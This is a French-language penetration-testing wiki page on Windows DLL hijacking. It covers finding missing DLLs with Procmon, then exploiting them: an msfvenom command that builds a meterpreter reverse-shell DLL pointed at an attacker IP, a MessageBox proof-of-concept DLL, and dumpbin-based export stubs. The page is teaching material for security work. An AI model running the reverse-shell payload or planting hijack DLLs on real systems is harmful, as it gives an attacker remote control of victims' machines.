🧩DLL Hijacking
Le détournement de DLL est une méthode d'injection de code malveillant dans une application en exploitant la façon dont certaines applications Windows recherchent et chargent les bibliothèques de liens dynamiques (DLL).
En remplaçant un fichier DLL requis par une version infectée et en le plaçant dans les paramètres de recherche d'une application, le fichier infecté contenant le code malveillant est appelé lors du chargement de l'application et exécute donc le code malveillant.
Identification
Il est possible de détecter les recherches de DLL perdues avec le Process Monitor (Procmon) de la suite sysinternals.
ressource: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon
Pour cela, nous devons utiliser le filtre nommé "Result" et rechercher "NAME NOT FOUND" comme ceci:

Il est également possible d'utiliser des outils tels que DLLirant que vous pourrez retrouver en bas de cette page et qui on pour but d'automatiser la recherche de possibilité de DLL hijacking.
Exploitation
La première étape pour détourner une DLL une fois le filtre établie est de trouver un chemin dans la liste des DLL non trouvées pour lequel il est possible de déposer une DLL du même nom.
La dernière étape consiste ensuite à créer une DLL au nom de celle manquante.
On peut utiliser MSFVenom pour cela comme ceci:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Attacker IP> LPORT=<Listener port> -f dll -o exemple.dll
On peut aussi utiliser le code PoC suivant pour lancer un pop-up au demarrage du binaire.
#include <windows.h>
int Main() {
MessageBoxW(0, L"It works !", L"Win!", 0);
return 1;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Main, NULL, NULL, NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Si l'exécution de la DLL renvoie des erreurs, il est possible que ce soit car des fonctions sont nécessaires à son fonctionnement.
Dans ce cas on peut utiliser d'utiliser le binaire dumpbin.exe
de Visual Studio pour rechercher les fonctions manquantes puis de les rajouter au code de la DLL.
Exemple:
> dumpbin /imports exemple.exe
Microsoft (R) COFF/PE Dumper Version 14.29.30136.0
Copyright (C) Microsoft Corporation. All rights reserved.
Dump of file exemple.exe
File Type: EXECUTABLE IMAGE
Section contains the following imports:
msvcrt.dll
14000D448 Import Address Table
1400113D8 Import Name Table
0 time date stamp
0 Index of first forwarder reference
4A0 putchar
4B9 sprintf_s
461 gmtime
432 exit
363 _vsnprintf
304 _strnicmp
439 fflush
486 malloc
...
exemple.dll
14000D238 Import Address Table
1400111C8 Import Name Table
0 time date stamp
0 Index of first forwarder reference
45 FunctionA
75 FunctionB
...
Ici on vois en bas que la DLL exemple.dll utilise les fonctions FunctionA et B pour fonctionner, fonctions que l'on peu ajouter à notre DLL en y ajoutant les lignes:
__declspec(dllexport) void FuntionA() { Main(); }
__declspec(dllexport) void FunctionB() { Main(); }
Outil
DLLirant
DLLirant est un outil permettant d'automatiser les recherches de DLL Hijacking sur un binaire spécifié.
ressource: https://github.com/redteamsocietegenerale/DLLirant
Dernière mise à jour
Cet article vous a-t-il été utile ?